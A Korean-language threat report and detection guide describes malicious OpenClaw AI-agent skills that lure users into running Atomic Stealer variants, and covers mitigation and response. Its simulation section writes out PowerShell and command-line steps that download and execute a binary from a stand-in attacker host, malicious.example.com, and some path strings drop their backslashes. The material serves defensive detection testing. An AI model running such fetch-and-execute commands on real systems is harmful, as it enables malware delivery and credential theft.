자동화에서 감염까지: 오픈클로 AI 에이전트 기술의 무기화 사례

요약

이 기사는 악성 OpenClaw 스킬이 셀프 호스팅 AI 에이전트 플랫폼 사용자들을 위한 악성코드 전달 메커니즘으로 사용되고 있는 방법을 설명합니다. 위협 행위자는 무해해 보이는 스킬을 게시하지만, 결국 피해자를 외부 소스에서 공격자가 제어하는 바이너리를 다운로드하고 실행하도록 유도합니다. 관찰된 페이로드에는 Windows 실행 파일과 macOS Mach-O 파일이 있으며, 이는 Atomic Stealer 정보 탈취기 계열의 변종으로 식별되었습니다. 이 활동은 커뮤니티 제공 스킬에 의존하는 개인 및 개발자 워크스테이션에 대한 실질적인 공급망 위험을 초래합니다.

조사

VirusTotal Code Insight는 3천 개 이상의 OpenClaw 스킬을 검토하여 악성 또는 고위험 동작을 보이는 수백 가지를 발견했습니다. 한 예로, hightower6eu가 업로드한 스킬은 GitHub에서 비밀번호로 보호된 ZIP 아카이브(비밀번호: openclaw)를 다운로드하여 Windows에서 openclaw-agent.exe를 실행하는 단계별 지침을 제공했습니다. macOS에서는 같은 스킬이 사용자에게 glot.io에서 Base64로 인코딩된 스크립트를 가져와 실행하기 위한 Mach-O 실행 파일을 다운로드하도록 지시했습니다. 결과 바이너리는 다수의 보안 엔진에 의해 트로이화된 정보 탈취기로 탐지되었습니다.

완화

스킬 리포지토리를 신뢰할 수 없는 코드로 취급하고 OpenClaw를 샌드박스나 엄격하게 제한된 환경에서 실행하십시오. 스킬 설명에서 명령어를 복사하여 붙여놓거나 검증되지 않은 외부 링크에서 바이너리를 실행하지 마십시오. 마켓플레이스 및 커뮤니티 운영자는 원격 다운로드 동작, 난독화된 스크립트 로직 및 자격 증명 도용 또는 데이터 유출 지표에 중점을 둔 게시 시 스캐닝을 구현하십시오. 기업 환경에서는 사용자에게 커뮤니티에서 제작한 스킬 설치의 위험성을 교육하고 사용 전 검토를 요구하십시오.

대응

외부 다운로드 URL, 비밀번호로 보호된 아카이브 또는 인코딩된 명령 스테이저를 참조하는 OpenClaw 스킬 패키지를 사냥하십시오. 알 수 없는 바이너리 openclaw-agent.exe의 실행과 스크립트화된 다운로드 활동 이후의 의심스러운 Mach-O 실행에 대해 경고를 발령하십시오. 알려진 악성 도메인에 대한 연결을 차단하고, 정보 탈취기 실행과 자격 증명 노출이 발생했는지 확인하기 위해 영향을 받은 시스템을 격리하여 포렌식 조사를 수행하십시오.

시뮬레이션 실행

전제 조건: 원격 측정 및 기준 기준 사전 검사 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적수 기술(TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다.

• 공격 내러티브 및 명령어:
  공격자가 피해자 워크스테이션에 초기 접근을 획득하고 악성 바이너리를 드롭했습니다 openclaw-agent.exe 사용자의 임시 디렉토리에. 이 바이너리는 명령줄과 함께 실행됩니다, 명령줄에는 명확히 다음의 키워드가 포함되어 있습니다 다운로드 and 실행 신뢰할 수 없는 C2 서버에서 추가 페이로드를 가져와 메모리에서 실행하도록. 공격자는 PowerShell 전용 탐지를 피하기 위해 표준 Windows 명령 프롬프트를 사용하여 Sigma 규칙의 기대치와 일치시킵니다.

  1. 페이로드 드롭:

     $malPath = "$env:TEMPopenclaw-agent.exe"
     Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath

  2. 의심스러운 인수로 실행:

     "%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute

  3. 에이전트는 C2 서버에 연락하여 payload.bin을 다운로드하고, 디스크에 기록하고, 실행하여, 원본 프로세스 명령줄이 여전히 트리거 단어를 포함하고 있습니다.

• 회귀 테스트 스크립트:

  # -----------------------------------------------------------------------
  # OpenClaw 에이전트 실행 시뮬레이션 – Sigma 탐지 유발
  # -----------------------------------------------------------------------
  # 1. 악성 에이전트 다운로드 (무해한 파일로 시뮬레이션)
  $agentUrl   = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi"  # placeholder benign file
  $agentPath  = "$env:TEMPopenclaw-agent.exe"
  Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath
  
  # 2. 예상되는 명령줄 키워드와 함께 에이전트 실행
  $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute"
  Write-Host "Executing: $cmd"
  Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait
  
  # 3. 선택사항: 페이로드 다운로드 시뮬레이션 (무해한 스텁)
  $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md"
  $payloadPath = "$env:TEMPpayload.bin"
  Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath
  
  Write-Host "Simulation complete. Check SIEM for detection."

• 정리 명령어:

  # 시뮬레이션 중에 생성된 모든 아티팩트 제거
  $paths = @(
      "$env:TEMPopenclaw-agent.exe",
      "$env:TEMPpayload.bin"
  )
  foreach ($p in $paths) {
      if (Test-Path $p) {
          Remove-Item -Path $p -Force
          Write-Host "Deleted $p"
      }
  }